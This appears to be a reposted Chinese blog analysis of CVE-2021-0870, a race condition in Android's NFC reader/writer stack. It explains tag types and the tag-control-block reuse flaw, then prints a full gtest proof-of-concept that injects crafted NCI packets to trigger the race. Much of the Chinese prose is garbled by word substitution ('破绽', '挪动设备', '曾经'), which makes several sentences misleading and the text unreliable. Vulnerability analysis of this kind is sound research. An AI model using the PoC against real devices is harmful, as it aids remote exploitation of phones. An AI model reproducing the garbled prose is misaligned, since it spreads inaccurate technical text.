Android NFC条件竞争漏洞分析(CVE-2021-0870)

概述

NFC在人们的日常生活中扮演了重要角色,曾经成为挪动设备不可或缺的组件,NFC和蓝牙相似,都是应用无线射频技术来完成设备之间的通讯.因而芯片固件和主机NFC子系统都是远程代码执行(RCE)攻击的目的。

CVE-2021-0870是一枚NFC中的RCE高危破绽,2021年10月破绽通告中显现已被修复https://source.android.com/security/bulletin/2021-10-01 。破绽成因是RW_SetActivatedTagType 能够经过将NFC的TCB(tag control block)置零的方式完成在不同tag之间切换,TCB所在的内存区域是固定不变的,这块内存被不同tag复用。当TCB被置零后即表示上一状态已被禁用.但是新tag激活后,上一个状态的超时检测定时器依然在工作,并且依然援用TCB里的数据和指针,但是此时TCB曾经被置零.随后新状态启动本人的定时重视写TCB中相应偏移的数据时,会产生条件竞争。

NFC技术框架

NFC的三种运转形式

Reader/Write形式:简称R/W 和NFC Tag/NFC reader有关

Peer-to-Peer形式:简称P2P 它支持两个NFC设备停止交互

NFC Card Emulation(CE) : 他能把NFC功用的设备模仿成智能卡,这样就能够完成手机支付/门禁卡功用

破绽存在于Reader/Write形式(R/W)

Reader/Write形式

NFC Tag/NFC reader是NFC系统RFID中的两个重要的组件,其中Tag是一种用于存储数据的被动式RFID tag,它本身不包含电源,而是依赖其他组件,如NFC reader经过线圈里的电磁感应给他供电,然后经过某些射频通讯协议来存取NFC tag里的数据。

NFC Forum 定义了两个数据构造用于设备间的通讯(不只仅是设备之间,也包括R/W形式种的NFC Reader和NFC Tag之间交互数据) ,分别是NDEF和NFC Record。

R/W形式下运用NDEF数据构造通讯时,NFC设备的每一次数据交互都会被封装在一个NDEF Message中,一个Message包括多个NFC RecordMessage 的数据构造如下,它是多个record组合而成。

单个record的构造如下:

本文不对细致的数据构造的各个字段做出解释

破绽存在于运用NDEF数据包通讯的过程中

Tag

NFC Forum 定义了4种tag,分别为Type1,2,3,4 。他们之间的区别在于占用存储空间的大小和运用底层协议不同.但能被NFC Reader和NFC Tag 读写的tag类型远多于4种,Android Java层提供了”android.nfc.tech”包用来处置不同类型的tag,下表列出了该包里的几个类,这些类分别处置不同类型的tag。例如,NDEF 是用来处置Type1-4的类,

IsoDep Provides access to ISO-DEP (ISO 14443-4) properties and I/O operations on a Tag.
MifareClassic Provides access to MIFARE Classic properties and I/O operations on a Tag.
MifareUltralight Provides access to MIFARE Ultralight properties and I/O operations on a Tag.
Ndef Provides access to NDEF content and operations on a Tag.
NdefFormatable Provide access to NDEF format operations on a Tag.
NfcA Provides access to NFC-A (ISO 14443-3A) properties and I/O operations on a Tag.
NfcB Provides access to NFC-B (ISO 14443-3B) properties and I/O operations on a Tag.
NfcBarcode Provides access to tags containing just a barcode.
NfcF Provides access to NFC-F (JIS 6319-4) properties and I/O operations on a Tag.
NfcV Provides access to NFC-V (ISO 15693) properties and I/O operations on a Tag.

破绽代码中呈现的T1T,T2T…TT,I93,是R/W形式下,探测,读写NDEF数据包的详细完成办法,是一种的技术规范.比方I93是基于 ISO 15693 的完成办法,T1T基于NFC-A , 也就是ISO 14443-3A。

破绽剖析

poc代码

基于Google的测试框架gtest编写了一个集成测试文件,TEST函数是测视例的main函数,自动化测试框架从TEST调用poc代码:

TEST(NfcIntegrationTest, test_mifare_state_bug) {
  CallbackTracker tracker;
  g_callback_tracker = &tracker;

  NfcAdaptation& theInstance = NfcAdaptation::GetInstance();
  theInstance.Initialize();

  NFA_Init(&entry_funcs);
  NFA_Enable(nfa_dm_callback, nfa_conn_callback);
  usleep(5000);

  std::vector<uint8_t> reset_core = {0x1, 0x29, 0x20};
  g_callback_tracker->SimulatePacketArrival(
      NCI_MT_NTF, 0, NCI_GID_CORE, NCI_MSG_CORE_RESET, reset_core.data(),
      reset_core.size());

  {
    std::unique_lock<std::mutex> reset_done_lock(cv_mutex);
    reset_done_cv.wait(reset_done_lock);
  }

  NFA_EnableListening();
  NFA_EnablePolling(NFA_TECHNOLOGY_MASK_F | NFA_TECHNOLOGY_MASK_V);

  NFA_EnableDtamode(NFA_DTA_DEFAULT_MODE);
  NFA_StartRfDiscovery();

  {
    std::unique_lock<std::mutex> enable_lock(cv_mutex);
    enable_cv.wait(enable_lock);
  }

  std::vector<uint8_t> init_core = {0x0,  0xa, 0x3,  0xca, 0xff, 0xff, 0xff,
                                    0xff, 0x2, 0xe0, 0xe0, 0xe0, 0xe0, 0xe0};
  g_callback_tracker->SimulatePacketArrival(NCI_MT_RSP, 0, NCI_GID_CORE,
                                            NCI_MSG_CORE_INIT, init_core.data(),
                                            init_core.size());

  g_callback_tracker->SimulateHALEvent(HAL_NFC_POST_INIT_CPLT_EVT,
                                       HAL_NFC_STATUS_OK);

  {
    std::unique_lock<std::mutex> nfa_enable_lock(cv_mutex);
    nfa_enable_cv.wait(nfa_enable_lock);
  }

  std::vector<uint8_t> discover_rf = {0x0};
  g_callback_tracker->SimulatePacketArrival(
      NCI_MT_RSP, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_DISCOVER, discover_rf.data(),
      discover_rf.size());

  {
    std::unique_lock<std::mutex> rf_discovery_started_lock(cv_mutex);
    rf_discovery_started_cv.wait(rf_discovery_started_lock);
  }
  std::vector<uint8_t> activate_rf = {/* disc_id */ 0x0,
                                      NFC_DISCOVERY_TYPE_POLL_V,
                                      static_cast<uint8_t>(NFC_PROTOCOL_T5T)};
  for (int i = 0; i < 27; i++) {
    activate_rf.push_back(0x6);
  }
  g_callback_tracker->SimulatePacketArrival(
      NCI_MT_NTF, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_INTF_ACTIVATED,
      activate_rf.data(), activate_rf.size());
  {
    std::unique_lock<std::mutex> activated_lock(cv_mutex);
    activated_cv.wait(activated_lock);
  }

  NFA_RwReadNDef();

  {
    std::unique_lock<std::mutex> i93_detect_lock(cv_mutex);
    i93_detect_cv.wait(i93_detect_lock);
  }

  g_callback_tracker->SimulatePacketArrival(
      NCI_MT_NTF, 0, NCI_GID_CORE, NCI_MSG_CORE_RESET, reset_core.data(),
      reset_core.size());

  std::vector<uint8_t> deactivate_rf = {NFA_DEACTIVATE_TYPE_DISCOVERY, 0x1};
  g_callback_tracker->SimulatePacketArrival(
      NCI_MT_NTF, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_DEACTIVATE,
      deactivate_rf.data(), deactivate_rf.size());

  {
    std::unique_lock<std::mutex> deactivated_lock(cv_mutex);
    deactivated_cv.wait(deactivated_lock);
  }

  std::vector<uint8_t> activate_another_rf = {
      /* disc_id */ 0x0, NFC_DISCOVERY_TYPE_LISTEN_F, NFC_PROTOCOL_T3T};
  for (int i = 0; i < 70; i++) {
    activate_another_rf.push_back(0x2);
  }
  g_callback_tracker->SimulatePacketArrival(
      NCI_MT_NTF, 0, NCI_GID_RF_MANAGE, NCI_MSG_RF_INTF_ACTIVATED,
      activate_another_rf.data(), activate_another_rf.size());

  {
    std::unique_lock<std::mutex> t3t_get_system_codes_lock(cv_mutex);
    t3t_get_system_codes_cv.wait(t3t_get_system_codes_lock);
  }

  NFA_Disable(true);

  {
    std::unique_lock<std::mutex> nfa_disable_lock(cv_mutex);
    nfa_disable_cv.wait(nfa_disable_lock);
  }
}
------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞8赞赏 分享
评论 共1条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片
    • 头像王的0